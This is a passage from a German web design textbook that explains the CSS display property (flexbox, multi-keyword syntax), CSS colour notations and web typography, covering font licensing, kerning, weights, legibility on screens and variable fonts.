                    display: table-cell;: Darstellen als Tabellenzelle (<td>)

                

                	
                    display: table-column;

                

                	
                    display: table-column-group;

                

                	
                    display: table-footer-group; vgl. <tfoot>

                

                	
                    display: table-header-group; vgl. <thead>

                

                	
                    display: table-row; vgl. <tr>

                

                	
                    display: table-row-group; vgl. <tbody>

                

                	
                    display: flex;

                

                	
                    display: inline-flex; bzw. display:inline flex;

                

                	
                    display: grid;

                

                	
                    display: inline-grid; bzw. display:inline grid;

                

            

            Daneben existieren auch weniger gängige Darstellungsformen, die sich auf die Programmiersprache Ruby beziehen (ich werde in weiterer Folge nicht gesondert darauf eingehen, da Ruby für uns keine Rolle spielt):

            
                	
                    display: ruby;

                

                	
                    display: ruby-base;

                

                	
                    display: ruby-text;

                

                	
                    display: ruby-base-container;

                

                	
                    display: ruby-text-container;

                

                	
                    display: run-in;

                

            

            Auf einige dieser Darstellungsformen (Flexboxen, Grid-Systeme) werde ich in den folgenden Abschnitten noch konkreter eingehen.

            
                display neu gedacht

                Grundsätzlich regelt also die display-Eigenschaft, auf welche Art und Weise sich das betroffene Element selbst verhält. Daraus lässt sich ableiten, ob Box-Eigenschaften (Wie groß ist das Element, wie sieht es mit Innenabstand und Rahmen aus usw.?) angewandt werden können oder nicht.

                Aber eigentlich ist das nur die halbe Wahrheit, denn nicht wenige display-Werte beeinflussen nicht nur das Element selbst, sondern auch die sich darin befindlichen Elemente. Wir werden beispielsweise bei den Flexboxen feststellen, dass die Angabe von display:flex das Element selbst nur dahingehend ändert, dass es zu einem Block-Element wird (also demnach wie display:block). Die darin verschachtelten Elemente werden sich auf einmal jedoch völlig anders verhalten!

                Entwickeln wir ein einfaches Beispiel, damit Sie sich das Gesagte besser vorstellen können. Betrachten Sie etwa den folgenden Code, der nur aus einfachen (und bedeutungslosen) div-Elementen besteht:

                <div id="C"
  <div>Box A</div>
  <div>Box B</div>
  <div>Box C</div>
  <div>Box D</div>
  <div>Box E</div>
  <div>Box F</div>
</div>


                Der Code ist keine großartige Sache: sechs div-Container, verpackt in einen umgebenden div-Container. Nach unserem Wissen sind das also einfach sechs Boxen in einer anderen Box, wobei alle (aufgrund der Block-Eigenschaft) untereinander stehen. Mit ein wenig Formatierung (sodass man sie auch visuell erkennen kann) ergibt sich folgendes Bild (der Vollständigkeit halber habe ich den Container mit id="C" explizit mit einem display:block versehen – notwendig wäre das nicht gewesen, da ein div bereits ein Block-Element ist):

                
                    [image: Die eingefügten Boxen verhalten sich wie erwartet: Weil es sich allesamt um Block-Elemente handelt, werden sie per Definition untereinander aufgelistet dargestellt.]

                    Abbildung 6.19    
            Die eingefügten Boxen verhalten sich wie erwartet: Weil es sich allesamt um Block-Elemente handelt, werden sie per Definition untereinander aufgelistet dargestellt.

                
                So, nun setzen wir den display-Wert von Container C auf display:flex, worauf sich folgendes Bild ergibt:

                
                    [image: Die Änderung von display:block in display:flex hat große Auswirkungen auf die sich im Container C befindlichen Elemente, aber nicht auf C selbst. Spannend …]

                    Abbildung 6.20    
            Die Änderung von display:block in display:flex hat große Auswirkungen auf die sich im Container C befindlichen Elemente, aber nicht auf C selbst. Spannend …

                
                Wie Sie unschwer erkennen können, hat sich am Container C nichts geändert. Seine Darstellung ist immer noch dieselbe: Er verhält sich block-artig. Für die darin befindlichen Elemente ergeben sich jedoch große Auswirkungen. Sie verhalten sich nun offensichtlich nicht mehr wie übliche Block-Elemente (die müssten ja untereinander stehen), sondern irgendwie eigenartig: Sie sind kleiner geworden und stehen nebeneinander.

                Die eigentliche Auswirkung interessiert uns an dieser Stelle jedoch gar nicht (darum kümmern wir uns in Abschnitt 6.17.1, »Flexboxen – eindimensionales Denken«) – wichtiger ist die Tatsache, dass die Veränderung der display-Eigenschaft keine Auswirkung auf das betroffene Element, sondern auf die darin befindlichen Elemente hat.

                Das führt uns zu der Annahme, dass die display-Eigenschaft zweischichtig ist: Einerseits kann sie die Darstellung des betroffenen Elements selbst beeinflussen, andererseits aber auch die darin befindlichen Elemente. Dies schlägt sich seit Mitte/Ende 2023 in der Trennung der display-Eigenschaft in ein display-outside und ein display-inside nieder. Der Fachbegriff für die Trennung in ein Outside und ein Inside lautet Multi-Keyword-Syntax. Tipp: Achten Sie aktuell noch ein wenig auf den Support durch die gängigen Browser.

                Welche Auswirkungen hat das nun auf unsere Arbeit? Die Antwort ist recht simpel: keine. Wir können nach wie vor auf die bekannte Syntax (Schreibweise) setzen, die wir bis dato verwendet haben. Dennoch würde ich Ihnen dazu raten, so früh wie möglich zur neuen Syntax zu wechseln, wo immer es sinnvoll ist (siehe Tabelle 6.5).
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                Tabelle 6.5    
            Single-Keyword- vs. Multi-Keyword-Syntax

                
                    [»]  flow-root und Block Formatting Content

                    Auffällig an dieser Auflistung ist wohl der Wert flow-root. Ein Element, das mit flow-root versehen wird, erzeugt einen sogenannten Block Formatting Context (BFC). Ein BFC-Element wird für gefloatete Elemente verwendet (vgl. Abschnitt 6.11, »Textumfluss (float) – umflossene Elemente wie in Druckmedien«), wo sämtlicher darin befindlicher Inhalt nicht nach außen und sämtlicher umgebender Inhalt nicht nach innen dringen soll.

                

                
                    [»]  Zusammenfassung

                    Unsere bisherige Betrachtungsweise und Verwendung der display-Eigenschaft ist absolut in Ordnung, und wir müssen uns auch keine Sorgen machen, dass unser Weltbild dadurch ins Schwanken gerät. Dennoch sollten Sie ab sofort und wann immer es möglich ist, die Multi-Keyword-Syntax einsetzen. Die neue Herangehensweise an die display-Eigenschaft wirkt sich (natürlich) auch auf Darstellungseigenschaften wie display:list-item usw. aus – ein Blick auf https://developer.mozilla.org/en-US/docs/Web/CSS/display lohnt sich allemal, um einen vollständigen Überblick zu bekommen.

                

            
        
    


                    
                        
        6.9    Glanz und Gloria – Farben

        Nachdem Sie bereits in Abschnitt 2.9.4, »Licht und Mathematik – die Farbmodelle als Ergebnis«, einen Einblick in Farbmodelle erhalten haben, stellt sich unweigerlich die Frage, wie diese im Rahmen von CSS eingesetzt werden können. Zum Einsatz kommen Farben in CSS üblicherweise bei:

        
            	
                Schriften: Eigenschaft color

            

            	
                Hintergrund: Eigenschaft background-color

            

            	
                Rahmen: Eigenschaft border-color (oder in einer abgekürzten Angabe)

            

            	
                Box- und Schriftschatten: in Form der jeweiligen Schreibweisen (boxshadow bzw. text-shadow)

            

        

        Auf welche Art und Weise die gewünschte Farbe angegeben wird, spielt hierbei keine Rolle. Sie haben folgende Möglichkeiten:

        
            	
                durch Angabe von Farbnamen: Aktuell existieren 140 definierte Farbnamen (wie black, white, blue, red, green, grey, pink, purple, orange, yellow, cyan, magenta, …), die Sie beispielsweise unter https://www.w3schools.com/cssref/css_colors.asp nachschlagen können.

            

            	
                mithilfe des RGB-Modells:

                
                    	
                        ohne Alpha-Kanal: rgb(0-255,0-255,0-255), wobei 0 für kein Farbanteil und 255 für voller Farbanteil steht, z. B.: color:rgb(255,217,53);

                    

                    	
                        mit Alpha-Kanal: rgba(0-255,0-255,0-255,0-1), wobei der Alphakanal einen Transparenzkanal darstellt, der Werte zwischen 0 (völlig durchsichtig) bis 1 (völlig deckend) zulässt; z. B.: background-color:rgba(214,99,147,0.8);

                    

                    	
                        als hexadezimaler Wert: #RRGGBB (die ersten beiden Werte geben in hexadezimaler Notation den Rotanteil, die nächsten beiden den Grünanteil und die letzten beiden den Blauanteil an), z. B. #ffd935 mit einem Rotanteil = ff, einem Grünanteil = d9 und einem Blauanteil = 35, was wiederum identisch mit der Angabe rgb(255,217,53) ist.

                    

                

            

            	
                mithilfe des HSL-Modells:

                
                    	
                        ohne Alphakanal: hsl(0-359,0-100%,0-100%), z. B.: hsl(48,79%,50%);

                    

                    	
                        mit Alphakanal: hsla(0-359,0-100%,0-100%,0-1), z. B.: hsl(48,79%,50%,0.7);

                    

                

            

        

        
            [»]  Abgekürzte HEX-Schreibweise

            Sollten bei den jeweiligen Farbanteilen jeweils gleiche Werte vorkommen, so existiert eine abgekürzte Schreibweise: Anstelle von #33aaff könnten Sie #3af schreiben, anstelle von #bb0088 könnten Sie #b08 usw. schreiben.

        

    


                    
                        
        6.10    Das geschriebene Wort – Schriften

        Schriften sind mittlerweile zu einem sehr wesentlichen Gestaltungselement für Websites geworden. Nichtsdestotrotz ist und bleibt das wesentliche Kriterium für die Wahl einer Schrift ihre Lesbarkeit. Dies gilt vor allem für den Fließtext; ein wenig mehr Spielraum hat man im Falle von Überschriften bzw. der Navigation.

        Grundsätzlich gilt, dass auf Websites (im ersten Moment) nur Schriften verwendet werden können, die der User besitzt bzw. die auf seinem Computer installiert sind. Eine Information darüber, welche Schriften das sind, steht uns jedoch nicht zur Verfügung.

        Aus diesem Grund einigt man sich auf den kleinsten gemeinsamen Nenner aller Schriften und hofft, dass diese wirklich auf dem Rechner des Users installiert sind. Abbildung 6.21 zeigt einige dieser sogenannten websicheren Schriften.

        
            [image: Ein Set an websicheren Schriften. Beachten Sie, dass diese Auswahl nicht in Stein gemeißelt ist.]

            Abbildung 6.21    
            Ein Set an websicheren Schriften. Beachten Sie, dass diese Auswahl nicht in Stein gemeißelt ist.

        
        Um ganz genau zu sein, sollte ich hier eigentlich von websicheren Schriften auf den jeweiligen Plattformen Windows, macOS, iOS und Android sprechen, denn auch auf diesen existieren Unterschiede. In manch einer Dokumentation oder Anleitung finden Sie beispielsweise anstatt der Lucida Console eine Lucida Sans Typewriter oder auch eine Trebuchet MS, die jedoch vor allem auf Windows-basierten Systemen zu finden ist. Die Website https://www.cssfontstack.com/ gibt einen recht guten Überblick über die websicheren Schriften.

        Sollten Sie mit diesen genannten Schriften nicht glücklich sein, so stehen Sie bei der Webentwicklung zunächst einmal vor einer Grenze, an der es nicht weitergeht, denn mehr als der kleinste gemeinsame Nenner steht Ihnen nun einmal nicht zur Verfügung – jedenfalls nicht auf der Userseite, deren Möglichkeiten wir aktuell nutzen wollen. Der eine oder andere Webentwickler könnte nun auf die – wenig glorreiche – Idee kommen, die lokal bei ihm auf dem Computer installierten Schriften heranzuziehen und diese für die Gestaltung der Website einzusetzen. Damit stößt man jedoch zunächst einmal auf das erste Problem:

        
            	
                Der Betrachter der Website hat die vom Webdesigner gewählte Schrift nicht installiert. Weil sich Schriften nicht wie von Geisterhand selbst installieren, wird die Website wohl nicht in dieser Schrift dargestellt werden.
Es geht jedoch munter weiter mit den Problemen, wenn unser abenteuerlustiger Webdesigner auf die nächste, noch viel weniger glorreiche Idee käme, den Besuchern seiner Website die gewünschte Schrift zur Verfügung zu stellen. Technisch wäre das möglich, indem die Schrift zunächst in ein geeignetes Format gebracht (woff bzw. woff2), danach auf den Server hochgeladen und schlussendlich durch geeignete CSS-Regeln angewandt wird. Neben der Problematik des Konvertierens schlittert der Webdesigner jedoch in ein viel schwerwiegenderes Problem hinein:

            

            	
                Besitzt ein Webdesigner überhaupt die Rechte an der Weitergabe von Schriftdateien?

                Diese Antwort fällt so gut wie immer ganz klar und deutlich aus: »Nein, besitzt er nicht!« Aber wo liegt das Problem, wenn unser Webdesigner auf Schriften zurückgreift, die auf seinem eigenen Computer installiert sind? Sind das dann nicht mehr oder weniger seine Schriften? Auch hier ist die Antwort eindeutig: Dadurch, dass uns Computer-Usern Schriften (durch die Installation des Betriebssystems oder einer Software) zur Nutzung zur Verfügung gestellt werden, entsteht nicht automatisch auch das Recht zur Weitergabe dieser Schriften.

                Vielmehr haben wir Computer-User überhaupt kein Recht auf kommerzielle Nutzung dieser Schriften, wenn dies nicht klar festgelegt wurde. Der einzige Berufszweig, dem es erlaubt ist, die Schriften kommerziell zu nutzen, ist der des Grafikers. Uns Webdesignern ist dies nicht erlaubt, da unsere Schriften in Form von Schriftdateien auf Servern bereitgestellt werden, die in der Regel öffentlich zugänglich sind und somit von jedem Besucher der Website abgerufen und auch heruntergeladen werden können. Dementsprechend tritt das nächste Problem auf:

            

            	
                Hat ein Webdesigner keine entsprechenden Rechte an einer Schrift, so muss er diese erwerben.

                Haben Sie sich schon einmal Gedanken darüber gemacht, wie eine Schrift entsteht? Nun, es gibt den Beruf des Schriftdesigners. Seine Aufgabe ist es, Schriften – und zwar jeden Buchstaben, jede Ziffer, jedes Zeichen – grafisch zu entwerfen. Aber damit ist es noch nicht getan, denn er muss weiters Regeln festlegen, wie die Anordnung von Buchstaben vollzogen werden soll. Schauen wir uns an, was passiert, wenn wie in Abbildung 6.22 auf den Buchstaben »A« der Buchstabe »V« und danach der Buchstabe »M« folgen soll:

                
                    [image: Obwohl alle drei Buchstaben horizontal gleich weit voneinander entfernt sind, wirkt es so, als wäre das A weiter vom V entfernt als das V vom M. Der Grund verbirgt sich im Kerning.]

                    Abbildung 6.22    
            Obwohl alle drei Buchstaben horizontal gleich weit voneinander entfernt sind, wirkt es so, als wäre das A weiter vom V entfernt als das V vom M. Der Grund verbirgt sich im Kerning.

                
                Wenn Sie sich die Darstellung in Abbildung 6.22 ansehen, so haben Sie sicher das Gefühl, dass die Buchstaben A und V einen größeren Abstand zueinander aufweisen als die Buchstaben V und M. Der Grund dafür ist, dass im obigen Fall zwar der horizontale Abstand zwischen den einzelnen Buchstaben gleich ist, aber durch die Form von A und V entsteht eine optisch größere Lücke. Um dies zu kaschieren, legt ein Schriftdesigner Regeln fest, die dieses optische Problem lösen – etwa, indem der Abstand zwischen Buchstaben variabel gestaltet wird und von Buchstabenkombination zu Buchstabenkombination unterschiedlich sein kann. Man nennt dies Kerning (oder auf Deutsch Unterschneidung). Abbildung 6.23 zeigt ein Beispiel.

                
                    [image: Bei aktivem Kerning wirkt das Schriftbild wesentlich harmonischer: Die Platzbereiche des A und des V überschneiden sich.]

                    Abbildung 6.23    
            Bei aktivem Kerning wirkt das Schriftbild wesentlich harmonischer: Die Platzbereiche des A und des V überschneiden sich.

                
                Wenn auch das die Aufgabe eines Schriftdesigners ist, so können Sie sich gut vorstellen, dass die Arbeit an einer Schrift mitunter sehr aufwendig und auch langwierig ist. Dementsprechend sind wir beim nächsten Problem angelangt:

            

            	
                Schriften kosten (nicht wenig) Geld.

                Gut designte Schriften kosten mitunter mehrere Tausend Euros. Der Grund für den hohen Preis liegt darin, dass wir uns bis dato noch gar keine Gedanken darüber gemacht haben, was wir alles unter dem Begriff Schrift verstehen. Aufgrund der Tatsache, dass eine Schrift für uns User etwas Alltägliches zu sein scheint, nehmen wir, zumeist ohne darüber nachzudenken, an, dass man jede Schrift fett oder kursiv darstellen kann.

                Nun, da muss ich Sie enttäuschen, denn dem ist nicht so. Wenn Sie sich das zuvor Gesagte (»Ein Schriftdesigner muss jeden Buchstaben, jede Ziffer, jedes Zeichen selbst designen«) noch einmal durch den Kopf gehen lassen, so erkennen Sie, dass ein Schriftdesigner wohl auch die unterschiedlichen Schriftstärken der Zeichen eigens designen muss; selbiges gilt dann natürlich auch für die Kursivdarstellung. Das heißt also: noch viel mehr Arbeit für den Schriftdesigner – aber nur, wenn er das auch vorhat. Damit meine ich, dass jeder Schriftdesigner für seine Schrift selbst entscheiden darf, ob er diese in einer fetten und/oder kursiven Form entwickelt.

                Und selbst an dieser Stelle sind wir noch lange nicht am Ende, denn neben einem fett oder normal existieren noch viele weitere Schriftstärkegrade, sogenannte Schnitte. Eine Schrift – oder genauer gesagt: eine Schriftfamilie – besteht aus verschiedenen Schriftschnitten, von denen jeder für sich angibt, wie fett oder kursiv oder normal die Schrift dargestellt wird. Denkt man beispielsweise an eine Schrift, die in den Varianten fett und kursiv verfügbar sein soll, so hat man es bereits mit vier Schriftschnitten zu tun:

                
                    	
                        normal (also nicht fett), nicht kursiv

                    

                    	
                        normal, kursiv

                    

                    	
                        fett, nicht kursiv

                    

                    	
                        fett, kursiv

                    

                

            

        

        Diese Schnitte sind im Allgemeinen auch diejenigen, die für eine Standardschrift üblich sind.

        Zur Schriftstärke sei gesagt, dass es im Normalfall neun unterschiedliche Grade gibt (und diese Zahl ist nicht in Stein gemeißelt). Jedem Grad sind eine Benennung und ein Zahlenwert zugewiesen (die üblichen Schriftstärken sind hervorgehoben):

        
            	
                100: Extra-Thin

            

            	
                200: Thin

            

            	
                300: Light

            

            	
                400: Regular (normal)

            

            	
                500: Medium

            

            	
                600: Medium-Bold

            

            	
                700: Bold (fett)

            

            	
                800: Black

            

            	
                900: Extra-Black

            

        

        Weiters können Schriften auch noch in Condensed-Varianten unterschiedlichen Grades vorliegen. Ein Condensed-Schnitt stellt Buchstaben schmaler und näher beisammen dar. So kommt es schlussendlich nicht selten vor, dass eine Schriftfamilie aus 30 und mehr Schnitten besteht. Bedenkt man, dass ein Schriftschnitt schnell einmal EUR 50 kosten kann, so müsste man pro (vollständiger) Schriftfamilie schon EUR 1500 auf den Tisch legen. Da stellt sich schnell die Frage, ob die Kosten-Nutzen-Rechnung noch gegeben ist.

        
            6.10.1    Corporate Design Fonts auf Websites – Pro und Contra

            Nachdem Sie nun eine gewisse Ahnung vom Einsatz von Schriften besitzen, kommen wir nach und nach zur Auswahl geeigneter Schriften für unsere Website. Doch bevor wir uns kreativ ausleben, müssen wir noch berücksichtigen, dass Unternehmen üblicherweise eigene Schriften definieren – und dies zumeist einerseits für Fließtext und andererseits für Überschriften.

            Sollte dies der Fall sein, so müssen Sie beim Design der Website prüfen,

            
                	
                    ob für diese Schriften die geeigneten Lizenzen vorliegen und

                

                	
                    ob diese Schriften auch für den Einsatz im Web geeignet sind.

                

            

            Wie Sie aus den vorangegangenen Erläuterungen gelernt haben, trifft das nicht auf jede Schrift zu – insbesondere nicht im Fall von Fließtextschriften, wo an sich nur wenige Pixel zur Verfügung stehen (nämlich üblicherweise nur 16 px). Sollte der Corporate Font (die Unternehmensschrift) für den gedachten Einsatz nicht passen, so müssen Sie auf eine andere Schrift zurückgreifen, da der User – und in diesem Fall die Wahrnehmbarkeit von Text – immer im Vordergrund steht, auch wenn das Corporate Design eine andere Sprache spricht.

            Aber schauen wir uns zunächst einmal ein bisschen weiter um, bevor wir uns für eine (oder mehrere) Schrift(en) entscheiden.

        
        
            6.10.2    Ein paar Worte zur Typografie

            Gemeinhin versteht man unter Typografie die »Kunst der Gestaltung von Druck-Erzeugnissen nach ästhetischen Gesichtspunkten« oder auch die »Buchdruckerkunst«. In unserem Sprachgebrauch meinen wir damit den Einsatz von Schrift nach bestimmten ästhetischen Kriterien.

            Um die Eigenschaften von Schriften zu verstehen, ist ein Blick auf Abbildung 6.24 sinnvoll:

            
                [image: Die wesentlichen Größen, Höhen und Weiten einer Schrift – zumindest für den Gebrauch durch den Webdesigner.]

                Abbildung 6.24    
            Die wesentlichen Größen, Höhen und Weiten einer Schrift – zumindest für den Gebrauch durch den Webdesigner.

            
            Wesentlich hierbei sind folgende Werte:

            
                	
                    Schriftgröße: Diese setzt sich aus der Ober-, Mittel- und Unterlänge zusammen. Sehr oft wird die Höhe der Oberlänge mit der Höhe des Großbuchstabens gleichgesetzt, was jedoch nicht korrekt ist (vgl. Abbildung 6.24).

                

                	
                    Versal- oder Ziffernhöhe: die Höhe eines Großbuchstabens bzw. einer Ziffer

                

                	
                    x-Höhe: die Höhe eines Kleinbuchstabens (Gemein-Höhe)

                

            

            Die vorangegangene Darstellung bezieht sich zunächst auf den gesamten Bereich der Typografie. Leider wird es in der digitalen Typografie mit der Tradition nicht mehr ganz so genau genommen. Das heißt mit anderen Worten, dass beispielsweise Schriften gleicher Schriftgröße dennoch unterschiedlich hoch sein können, wie Abbildung 6.25 und Abbildung 6.26 zeigen.

            
                [image: Unterschiedliche Darstellungsgrößen bei identischer Schriftgröße im Fall von Schriften, die häufig im Druckbereich zum Einsatz kommen.]

                Abbildung 6.25    
            Unterschiedliche Darstellungsgrößen bei identischer Schriftgröße im Fall von Schriften, die häufig im Druckbereich zum Einsatz kommen.

            
            Was sich im Druckbereich zeigt, bestätigt sich auch bei den typischen Webschriften:

            
                [image: Auch bei den typischen Webschriften ergeben sich Unterschiede in der Darstellungsgröße bei – wohlgemerkt – identischer Schriftgröße.]

                Abbildung 6.26    
            Auch bei den typischen Webschriften ergeben sich Unterschiede in der Darstellungsgröße bei – wohlgemerkt – identischer Schriftgröße.

            
            Somit ergibt sich für uns die Erkenntnis, dass selbst die Schriftgröße eine nicht ganz ernst zu nehmende Angabe darstellt, variiert die Darstellungsgröße doch von Schrift zu Schrift. Wir können also nicht einfach wahllos eine Schrift einsetzen und darauf vertrauen, dass die gewählte Schriftgröße »schon passen« wird. Beim Webdesign steht die Lesbarkeit einer Schrift an oberster Stelle, weshalb wir das Ergebnis in Form der Schriftdarstellung immer sehr genau überprüfen sollten.

            Im Allgemeinen unterteilt man Schriften grob in ein paar Kategorien:

            
                	
                    Serifenschriften (Antiqua): Diese sind üblicherweise für den Fließtext nicht geeignet, da die übliche Schriftgröße mit 16px festgelegt ist und deshalb die Serifen »in der Kantenglättung untergehen«. Derartige Schriften können mit anderen Worten auf typischen Monitoren nicht sauber dargestellt werden, da die Auflösung für so feine Schriften fehlt. Dies trifft im Übrigen nicht für Bildschirme mit mindestens doppelter Pixeldichte zu, da in diesem Fall pro Pixel vier (doppelte Pixeldichte), neun (dreifache Pixeldichte) oder noch mehr Pixel zur Verfügung stehen.

                

                	
                    Serifenlose Schriften (Grotesk): Derartige Schriften sind grundsätzlich für die Verwendung als Fließtextschriftart geeignet, dennoch muss man unterscheiden, ob sich eine serifenlose Schrift für den Monitor im Allgemeinen eignet bzw. ob diese speziell für den Monitor entworfen worden ist. Letzteres gilt für die Webschriften im Übrigen nur für die Verdana – sie wurde speziell für den Monitor entworfen.

                

                	
                    Schmuckschriften: Diese Schriften lassen sich in keine der beiden obigen Kategorien einteilen und dienen in der Regel lediglich dekorativen Zwecken.

                

            

            Weiters unterscheidet man noch die Monospace-Schriften (oder auch Festbreitschriften) von den Proportionalschriften. Im Fall der Festbreitschriften sind alle Buchstaben gleich breit. Diese Schriften gelten als schwerer zu lesen; sie werden üblicherweise für die Darstellung von Programmcode verwendet.

            
                [»]  Monitorschriften

                Schriften, die für Monitore entwickelt wurden, erfüllen in der Regel folgende Kriterien: Sie verfügen über eine große x-Höhe, weite Proportionen, großzügige Buchstabenabstände und ausgeprägte Unterschiede zwischen ähnlich geformten Buchstaben.

            

        
        
            6.10.3    Wie lesbar sind Schriften?

            Das Ausschlusskriterium für Schriften ist deren Lesbarkeit, und gerade diese ist im digitalen Bereich von besonderer Bedeutung. Die Lesetypografie versteht unter Lesbarkeit die optimale makrotypografische und mikrotypografische Aufbereitung eines Schriftsatzes mit dem Ziel, dass ein Leser diesen auch bei längerem Lesen immer noch als angenehm empfindet – unabhängig davon, um welche Art von Text es sich handelt. Hierzu vorweg ein paar Denkanstöße, die es zu berücksichtigen gilt:

            
                	
                    Monitore sind strahlende Systeme, da sie Licht erzeugen. Papier hingegen reflektiert Licht, weshalb das Lesen auf Papier wesentlich angenehmer für den Menschen ist. Dies ist im Übrigen auch einer der Gründe, warum eBook-Reader nicht auf herkömmliche Displays setzen, sondern elektronische Tinte verwenden, die im Wesentlichen nichts anderes ist als Mikrokapseln mit farbigen Partikeln, die je nach elektromagnetischer Polarisation ausgerichtet werden.

                

                	
                    Monitore besitzen eine gewisse Leuchtkraft. Diese muss ausreichend sein (ca. 500 cd/cm2), um ausreichend Kontraste erkennen zu können.

                

                	
                    Monitore haben in der Regel eine wesentlich geringere Pixeldichte als Papier eine Punktdichte hat. Erst sehr gute Monitore mit doppelter oder dreifacher Pixeldichte reichen an die Auflösung des Drucks heran. Smartphones und bessere Tablets erfüllen diese Voraussetzungen zwar, typische Desktop-Monitore jedoch nicht.

                

                	
                    Aus Untersuchungen zur Lesbarkeit von Text auf Bildschirmen weiß man, dass das Lesen auf strahlenden Systemen anstrengender ist und dass dadurch oberflächlicher bzw. weniger detailfokussiert gelesen wird. Untersuchungen der Norman-Nielsen Group (NNGroup) zeigen eine Verringerung der Lesegeschwindigkeit auf Monitoren um ca. 25 %.

                

                	
                    Aus anderen Untersuchungen (wiederum von der Norman-Nielsen Group: »Text Scanning Patterns: Eyetracking Evidence«, https://www.nngroup.com/articles/text-scanning-patterns-eyetracking/) weiß man, dass Texte auf Monitoren weniger gelesen als vielmehr gescannt werden.

                

                	
                    Sehr feine Serifen können auf durchschnittlichen Monitoren nicht aufgelöst werden. Hier gilt es, Schriften in der gewünschten Größe einem Lesetest zu unterziehen.

                

            

            
                [Info]  Mikro- und Makrotypografie

                Zur Makrotypografie zählen die Eigenschaften der Monitorauflösung, des Gestaltungsrasters, der Schriftfarben, Schriftgrade und der Schriftwahl.

                Die Mikrotypografie behandelt Themen wie Satzbreiten, Silbentrennungen, Glyphen, Ligaturen usw.

            

            Nachfolgend finden Sie einen Vergleich der Georgia (Serifenschrift) und der Verdana (serifenlose Schrift), dargestellt in der typischen Schriftgröße von 16 px. Würde man versuchen, die Pixel, die für den Buchstaben »M« benötigt werden, entsprechend anzumalen (schlussendlich geschieht – neben der Kantenglättung – nichts anderes), ergibt sich eine Darstellung wie in Abbildung 6.27 und Abbildung 6.28.

            Es ist relativ gut erkennbar, dass man sich gerade im Fall der Serifen schwertut, die Pixel auszuwählen, die tatsächlich angemalt werden sollen. Viele Details gehen in der geringen Pixelanzahl unter, weshalb auch benachbarte Pixel (mit geringerer Deckkraft) bemalt werden. Vergleicht man die Georgia jedoch mit der Verdana (die eine Monitorschrift ist), so ergibt sich ein viel klareres Bild:

            
                [image: Serifenschriften wie die Georgia lassen sich mit wenigen Pixeln schlecht darstellen.]

                Abbildung 6.27    
            Serifenschriften wie die Georgia lassen sich mit wenigen Pixeln schlecht darstellen.

            
            
                [image: Serifenlose Schriften wie die Verdana eignen sich besser, wenn nur wenige Pixel zur Verfügung stehen.]

                Abbildung 6.28    
            Serifenlose Schriften wie die Verdana eignen sich besser, wenn nur wenige Pixel zur Verfügung stehen.

            
            Aus den genannten Gründen dürfen wir diese Schlussfolgerungen ziehen:

            
                	
                    Unterscheiden Sie zunächst zwischen der Darstellung von Schriften auf gering bzw. hoch aufgelösten Monitoren. Dies ist mithilfe von Media Queries in CSS möglich.

                

                	
                    Für Fließtext gilt:

                    
                        	
                            Auf gering aufgelösten Monitoren (ca. 120 ppi und weniger) sollten ausschließlich serifenlose Schriften eingesetzt werden. Gut geeignet sind etwa die Open Sans, die PT Sans, aber auch die Verdana.

                        

                        	
                            Auf höher aufgelösten Monitoren (ab ca. 200 ppi) empfiehlt sich wiederum der Einsatz von Serifenschriften aufgrund des Mehrwertes der integralen und selektiven Schriftmischung. Hier empfiehlt sich etwa die Minion als lesefördernde Schrift.

                        

                        	
                            Verwenden Sie keine Festbreitschriften (Monospace-Schriften), sondern Proportionalschriften.

                        

                        	
                            Achten Sie auf die Buchstabenbreite und auf die resultierende Wortbreite: Weder zu schmale noch zu breite Buchstaben eignen sich für den Fließtext.

                        

                    

                

                	
                    Überschriften, dekorative Elemente: Weil diese in der Regel größer dargestellt werden, ist ein wenig mehr erlaubt. In diesem Fall kann auch auf Serifenschriften bei gering aufgelösten Monitoren zurückgegriffen werden.

                

            

        
        
            6.10.4    Statische vs. variable Fonts – die Zukunft der Schriftformate?

            Unter statischen Schriften versteht man die gängigen Schriften, bei denen jeder Schriftschnitt als eigene Schriftdatei abgelegt wird. Dieses Prinzip gilt aktuell für die meisten Schriften und ermöglicht die volle Kontrolle des Schriftdesigners über die einzelnen Zeichen seiner Schrift. Auf der anderen Seite bedeutet es für den Schriftdesigner jedoch auch sehr viel mehr Arbeit, denn möchte er seine Schrift auch im Schriftschnitt »fett« veröffentlichen, so muss er sämtliche Zeichen auch in fett designen. Weil bei einer Schriftfamilie (wie wir weiter oben festgestellt haben) gleich einmal mindestens vier Schnitte (normal, fett, kursiv, fett-kursiv) notwendig (und sinnvoll) sind, ergibt das die vierfache Arbeit.

            Variable Schriften ermöglichen das Verändern der Zeichen durch die Veränderung von Strichstärke, Schriftbreite und Schriftlage, also auf geometrischem Wege, basierend auf Interpolationsachsen, Variations- und Stilattributtabellen – also mit einem mathematischen Gerüst, um die Schrift dynamisch zu berechnen. Die eigentliche Berechnung der Zeichen übernimmt der Browser (respektive das Betriebssystem), wodurch ein wenig Arbeit für den Browser anfällt, was sich wiederum (geringfügig) in der Performance niederschlägt.

            Die Idee variabler Schriften ist an sich nicht neu: Bereits in den frühen 1990er-Jahren wurden die Multiple Master Fonts von AdobeTM vorgeschlagen, die sich jedoch aufgrund der Komplexität dieser Schriften nicht durchgesetzt haben. Durch die gemeinsame Initiative von Adobe, Apple, Microsoft und Google wurden die variablen Fonts in die Spezifikation 1.8 von OpenType integriert, wodurch es nur noch eine Frage der Zeit ist, bis sich diese – zumindest im digitalen Bereich – am Markt etablieren. Hierdurch werden einerseits Resourcen geschont, andererseits werden sowohl die Entwicklung von Schriften als auch deren Distribution und Verarbeitung und damit deren Anwendung wesentlich vereinfacht.

            Man könnte nun an dieser Stelle bereits versucht sein, zu applaudieren. Dennoch sollten Sie damit vorsichtig umgehen, denn Sie sollten folgende Punkte in Bezug auf variable Fonts berücksichtigen:

            
                	
                    Variable Fonts sind, an der Dateigröße gemessen, nicht notwendigerweise kleiner als die Summe ihrer statischen Dateien. Beinhaltet eine variable Schrift beispielsweise die Berechnungsregeln für fett und kursiv, so hätten wir es aus statischer Sicht mit vier Dateien zu tun. Die Summe der Dateigrößen dieser vier Dateien kann dennoch geringer sein als die Dateigröße der (einen) variablen Schriftdatei. Das liegt daran, dass die variable Schriftdatei eben sämtliche Berechnungsregeln beinhalten muss.

                

                	
